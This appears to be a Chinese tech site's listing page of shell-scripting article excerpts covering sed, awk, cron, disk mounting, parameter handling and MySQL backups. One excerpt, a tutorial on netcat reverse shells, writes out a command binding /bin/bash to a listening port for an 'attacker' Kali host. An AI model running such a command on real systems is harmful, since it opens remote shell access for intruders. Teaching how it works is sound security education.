• 详解shell脚本的编写规范

    2020-10-30

    编写shell脚本的一些规范解释器shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash或#!/bin/sh添加脚本版本和注释功能在脚本的开头加注释,说明脚本作者、编写时间、脚本功能,最好可以加上脚本的版本号。shell中脚本注释用#,注释语句和#号之间有一个空格#!/bin/bash# 脚本版本# 脚本作者# 脚本时间# 脚本功能添加脚本调试通过set命令添加脚本调试,如果

  • shell脚本快速创建、格式化、挂载新添加的磁盘实现方法详解

    2020-10-30

    一、通过管理员选择创建、格式化、挂载新添加的磁盘脚本#! /bin/bashecho "=============================="PS3="chose which disk you want to create:"select W in `ls /dev/sd*|grep -o 'sd[b-z]'|uniq` quitdo case $W in sda)  fdisk -l /

  • shell模糊匹配与正则详解

    2020-10-20

    前言:正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。正则表达式正则表达式主要是用来描述一个句法规则的模式。其实说的通俗一点,就是利用字符和元字符的组合,对一些符合既定句法的模式进行模糊匹配。它的主要功能是文本查询和字符串操作。正则表达式的基本元素包括普通字符和元字符,在Linux shell里面,常用的正则表达式元字符集为:S={*  .  ^

  • shell 判断字符串是否存在数组中的实现示例

    2020-10-20

    语法格式: [[ "${array[@]}" =~ "字符串" ]]示例:#!/bin/sh##数组array=(addressbasecartcompanystore) # $1 如果存在,输出 $1 exists,$1 如果不存在,输出 $1 not existsif [ "$1" != null ];then if [[ "${array[@]}" =~ "${1}" ]]; then ec

  • shell之定时周期性执行脚本的方法示例

    2020-10-20

    示例1.编写测试脚本脚本 time .sh$ cat time.sh #! /bin/bashecho $(date +%s) >> /home/ocean/out.txt保存完毕后记得给予权限 chmod 777 test.sh2.添加定时任务$ crontab -eno crontab for ocean - using an empty oneSelect an editor. To cha

  • Shell用sed命令删除特定行的方法

    2020-10-20

    sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧!sed命令常用到的两个选项:  -i : 直接在文件上编辑 (edit files in place)  -e[默认选项]:只在命令行输出,而文件不改变(add the script to the commands to be executed)注:使用sed命令可以使用

  • Linux Shell 如何获取参数的方法

    2020-10-20

    $# 是传给脚本的参数个数$0 是脚本本身的名字$1 是传递给该shell脚本的第一个参数$2 是传递给该shell脚本的第二个参数$@ 是传给脚本的所有参数的列表$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个$$ 是脚本运行的当前进程ID号$ 是显示最后命令的退出状态,0表示没有错误,其他表示有错误区别:$@, $*  相同点:都是引用所有参数  不同点:$* 和

  • 详解NC反弹shell的几种方法

    2020-10-20

    假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shellubuntu或者CentOS上面输入nc -lvp 7777 -e /bin/bashkali上输入nc ip 7777正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹s

  • Linux Shell脚本中获取本机ip地址方法

    2020-10-20

    方法一:ifconfig -aifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"命令解析   ifconfig -a       和window下执行此命令一样道理,返回本机所有ip信息   grep inet                   截取包含ip的行   grep -

  • Shell文本处理三剑客之sed的使用

    2020-10-16

    sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。语法:stdout | sed [option] "pattern command"sed [option] "pattern command" file1常用选项(option)# -n 只打印静默模式匹配行,而不输出原行# p 是打印命令 sed '/hello/p' helloWorld.sh#!/b

  • 详解shell中脚本参数传递的两种方式

    2020-10-16

    方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括10个),需要使用${10},${11}....才能获取到参数,但是一般很少会超过10个参数的情况。1.1 示例:新建一个test.sh的文件#!/bin/bashecho "脚本$0"echo "第一个参数$1"echo

  • shell字符串截取报错:Bad substitution的解决

    2020-10-16

    问题重现:当前系统Ubuntu16shell进行字符串截取运行 ${GIT_COMMIT:0:6}报错:/tmp/jenkins7505855461406722507.sh: 4: /tmp/jenkins7505855461406722507.sh: Bad substitution原因:两种shell语言解释器 bash和dash查看当前/bin/sh 指向哪种解释器:ls /bin/sh -

  • shell中set指令的用法详解

    2020-10-16

    语法set [-可选参数] [-o 选项]功能说明set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将设置 shell 的常用特性,如果在选项后使用 -o 参数将打开特殊特性,若是 +o 将关闭相应的特殊特性。而不带任何参数的 set 指令将显示当前 shell 中的全部变量,且总是返回 true,除非遇到非

  • shell脚本实现公司项目部署交付环境预检查的思路

    2020-09-27

    大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bashroot=$(  cd $(dirname $0)  pwd)source "$root"/dragonrcCPU=$(echo "`cat /proc/cpuinfo | grep "physical id" | uniq | wc -l`H")MEM=$(echo "$

  • shell 里 awk print 的用法详解

    2020-09-11

    首先, 你需要先了解awk 的工作原理:1。AWK读取输入文件一次一行。2。对于每一行,它匹配在给定的顺序模式,如果匹配,执行相应的动作。3。如果没有模式匹配,将执行任何行动。4。在上面的语法,无论是搜索模式,或行动是可选的,但不能同时。5。如果没有给出搜索模式,然后awk要执行每一行输入给定的行动。6。如果没有给出动作,打印,这是默认的操作与模式相匹配的所有行。 7。空出的任何行动括号什么都不做

  • shell脚本一键同时推送代码至github和gitee的解决办法

    2020-09-05

    自己写的东西,要同时推送多个git地址,解决办法如下:1.先要初始化你的git             进入自己的项目目录,然后执行 git  initcd /app/code/go-studygit init2.执行以下脚本:#!/bin/bash#author Oliver#since 2020-09-03 15:24:31 git remote rm origin#replace your

  • 如何使用 Shell 脚本执行 .NET Core 应用

    2020-09-05

    在本文中,我将研究如何创建 shell 脚本来运行简单的 .NET Core 应用程序。之所以有这个研究议题,是因为本站(pzy.io)数据库需要每天定时备份,并在备份完成后,将备份文件上传远程云存储,保证了数据安全。由于数据库备份是 shell 脚本执行,而备份文件上传功能基于 .NET Core 开发,在备份完成后,shell 脚本需要调用 .NET Core 应用程序。具体操作执行步骤很简单

  • shell脚本定时备份MySQL数据库数据并保留指定时间

    2020-09-03

    公司用到的MySQL数据库,经常有同事通过一顿骚操作把一些关键的配置数据误删,每次恢复都要花上不少时间,于是写了个shell脚本,结合corntab每天凌晨备份数据库,并保留7天。同样的备份脚本也可用于生产环境MySQL数据库定时备份。环境:CentOS 7.5 / MySQL 5.7#!/bin/sh# 数据库账号信息DB_USER="root"DB_PWD="root"DB_HOST="127

  • 详解shell 变量

    2020-08-31

    1.简介变量是任何一种编程语言都必不可少的组成部分,变量用来存放各种数据。脚本语言在定义变量时通常不需要指明类型,直接赋值就可以,Shell变量也遵循这个规则。在Bash shell 中,每一个变量的值都是字符串,无论你给变量赋值时有没有使用引号,值都会以字符串的形式存储。这意味着,Bash shell 在默认情况下不会区分变量类型,即使你将整数和小数赋值给变量,它们也会被视为字符串,这一点和大部

  • IT行业是具体做什么

    2020-08-28关键词: 技术信息技术信息层次信息产业

    IT行业具体是从事信息产业的意思,可以进一步划分为IT生产业和IT使用业,IT生产业包括计算机硬件业、通信设备业、软件、计算机及通信服务业。IT行业指的是从事信息产业的意思,其英文全称为Information Technology。而IT业又可以进一步划分为IT生产业和IT使用业。IT生产业包括计算机硬件业、通信设备业、软件、计算机及通信服务业。扩展资料:1、按工作流程中基本环节的不同,信息技术可

  • Linux文本查看命令及其选项详解(cat,head,tail)

    2020-08-28

    linux系统内置命令可以通过以下两种方式查询:“cat --help” 或者“man cat”。cat命令的常用选项和官方解释如下:cat file_name 显示文件全部内容cat -b file_name 显示文件非空行内容cat -E file_name 在文件每行末尾显示$,常用于管道功能cat -n file_name 显示内容和行号Usage: cat [OPTION]... [FI

  • shell中如何批量注释和取消注释

    2020-08-27关键词: 注释行号模式批量命令

    #!/bin/bashecho "1"echo "2"echo "3"echo "4"echo "5"echo "6"上面这段shell会依次打印1~6假设我们想只打印5和6,想将1-4注释掉,除了正常的做法,每行前面加#进行注释外一、手动添加注释我们还可以用个取巧的办法,也可以写成下面这种#!/bin/bash:<<EOFecho "1"echo "2"echo "3"echo "4"EOFec

  • 区分shell中的 反引号、$()和${}

    2020-08-25

    1.反引号与$()用于命令替换反引号和$()的作用相同,用于命令替换(command substitution),即完成引用的命令的执行,将其结果替换出来,与变量替换差不多。比如:echo `date '--date=1 hour ago' +%Y-%m-%d-%H`#或者echo $(date '--date=1 hour ago' +%Y-%m-%d-%H)输出结果是相同的:2019-02-0

  • Shell双引号和单引号有哪些不同

    2020-08-24

    1.示例Shell在使用的过程中,经常会使双引号或者单引号将字符串括起来,也可以不使用引号来定义字符串变量。示例如下:str1="testString"//双引号str2='testString'//单引号str3=testString//无引号因此字符串变量的定义有三种方式,分别是双引号、单引号和无引号。这三种方式有什么区别呢?单引号和双引号又有什么区别呢?2.单引号单引号定义字符串所见即所得,

  • Shell脚本调用另一个脚本的三种方法

    2020-08-24

    假如有脚本 first.sh:#!/bin/bash#------------------#@file:first.sh#------------------echo 'your are in first file'如何在其它Shell脚本中调用first.sh呢?主要有三种方法:source、点号以及sh命令。1.source#!/bin/bash#---------------#@file:s

 1499    1 2 3 4 5 6 7 8 9 10 下一页 尾页

微信扫一扫

易采站长站微信账号